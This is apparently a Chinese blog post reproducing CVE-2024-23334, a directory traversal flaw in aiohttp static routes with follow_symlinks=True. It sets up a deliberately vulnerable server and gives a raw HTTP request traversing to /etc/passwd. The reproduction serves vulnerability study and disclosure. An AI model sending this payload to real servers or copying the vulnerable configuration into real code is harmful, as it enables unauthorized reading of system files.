CVE-2024-23334 AIOHTTP 目录遍历漏洞复现

aiohttp简介

aiohttp 是一个基于 asyncio 实现的 Python HTTP 客户端和服务器框架。它提供了异步的 HTTP 客户端和服务器功能,能够处理高并发的网络请求。以下是关于 aiohttp 的一些重要特点和用途:

  1. 基于 asyncioaiohttp 是基于 Python 的 asyncio 模块开发的,因此它利用了 Python 3.5+ 中引入的异步编程能力,支持异步 I/O 操作。

  2. HTTP 客户端aiohttp 提供了一个强大的异步 HTTP 客户端,可以发送 HTTP 请求并处理响应。它支持 GET、POST 等各种 HTTP 请求方法,同时也支持异步文件上传和下载。

  3. HTTP 服务器:除了客户端功能,aiohttp 还可以用作 HTTP 服务器,可以构建基于 HTTP 协议的 Web 应用程序。它支持路由、中间件、模板渲染等常见的 Web 开发功能。

  4. WebSocket 支持aiohttp 还提供了对 WebSocket 的支持,可以轻松实现基于 WebSocket 的双向通信,用于实时通信或推送场景。

  5. 异步性能:由于采用了异步编程模型,aiohttp 在处理大量并发请求时表现出色,能够有效利用系统资源,提高性能。

  6. 灵活性aiohttp 提供了丰富的 API 和配置选项,使得开发者可以根据需求定制和扩展框架的功能,从而满足各种复杂的应用场景。

总的来说,aiohttp 是一个强大且灵活的异步 HTTP 客户端和服务器框架,适合用于构建高性能、高并发的网络应用程序,特别是在需要处理大量 I/O 操作的情况下能够发挥出色的效果。

CVE-2024-23334 漏洞简介

使用 aiohttp 作为 Web 服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查给定的文件路径是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使符号链接不存在也是如此。即,应用程序仅因安装代码而易受攻击,例如:

app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

影响版本

1.0.5<=aiohttp<3.9.2

漏洞复现

安装aiohttp库

pip install aiohttp==3.9.1

编写web启动文件

aiohttpServer.py

from aiohttp import web                        
async def index(request):             
    return web.Response(text="Hello, World!")             
             
app = web.Application()             
app.router.add_routes([             
    web.static("/static", "static/", follow_symlinks=True),             
])             
app.router.add_get('/', index)             
             
if __name__ == '__main__':             
    web.run_app(app, host='127.0.0.1', port=8080)

python3 aiohttpServer.py 启动服务

发送payload

​​​​​​​

 

GET /static/../../../../etc/passwd HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 2

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值